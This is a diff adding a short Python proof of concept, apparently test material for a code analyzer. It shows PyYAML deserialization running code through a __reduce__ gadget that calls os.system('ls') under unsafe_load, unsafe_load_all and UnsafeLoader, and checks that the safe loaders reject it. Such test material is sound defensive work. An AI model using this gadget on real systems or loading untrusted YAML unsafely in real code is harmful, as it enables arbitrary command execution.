|
| 1 | +#!/usr/bin/env python3 |
| 2 | + |
| 3 | +# this file doesn't have a .py extension so the extractor doesn't pick it up, so it |
| 4 | +# doesn't have to be annotated |
| 5 | + |
| 6 | +# This file is just a Proof of Concept for how code execution can be triggered. |
| 7 | + |
| 8 | + |
| 9 | +import os |
| 10 | +import yaml |
| 11 | + |
| 12 | +class Exploit(object): |
| 13 | + def __reduce__(self): |
| 14 | + return (os.system, ('ls',)) |
| 15 | + |
| 16 | +data = Exploit() |
| 17 | +serialized_data = yaml.dump(data) |
| 18 | + |
| 19 | +# All these will execute `ls` |
| 20 | +print("!!! yaml.unsafe_load") |
| 21 | +yaml.unsafe_load(serialized_data) |
| 22 | + |
| 23 | +print("!!! yaml.unsafe_load kwarg") |
| 24 | +yaml.unsafe_load(stream=serialized_data) |
| 25 | + |
| 26 | +print("!!! yaml.load with Loader=yaml.UnsafeLoader") |
| 27 | +yaml.load(serialized_data, yaml.UnsafeLoader) |
| 28 | + |
| 29 | +# you need to iterate through the result for it to execute... but it still works |
| 30 | +print("!!! yaml.unsafe_load_all") |
| 31 | +for _ in yaml.unsafe_load_all(serialized_data): |
| 32 | + pass |
| 33 | + |
| 34 | +# check that the safe version is actually safe |
| 35 | +print("\n" + "-"*80) |
| 36 | +print("safe versions") |
| 37 | +print("-" * 80) |
| 38 | + |
| 39 | +print("!!! yaml.load") |
| 40 | +try: |
| 41 | + yaml.load(serialized_data) |
| 42 | + raise Exception("should not happen") |
| 43 | +except yaml.constructor.ConstructorError: |
| 44 | + pass |
| 45 | + |
| 46 | +print("!!! yaml.safe_load") |
| 47 | +try: |
| 48 | + yaml.safe_load(serialized_data) |
| 49 | + raise Exception("should not happen") |
| 50 | +except yaml.constructor.ConstructorError: |
| 51 | + pass |
| 52 | + |
| 53 | +print("!!! yaml.load with Loader=yaml.SafeLoader") |
| 54 | +try: |
| 55 | + yaml.load(serialized_data, yaml.SafeLoader) |
| 56 | + raise Exception("should not happen") |
| 57 | +except yaml.constructor.ConstructorError: |
| 58 | + pass |
0 commit comments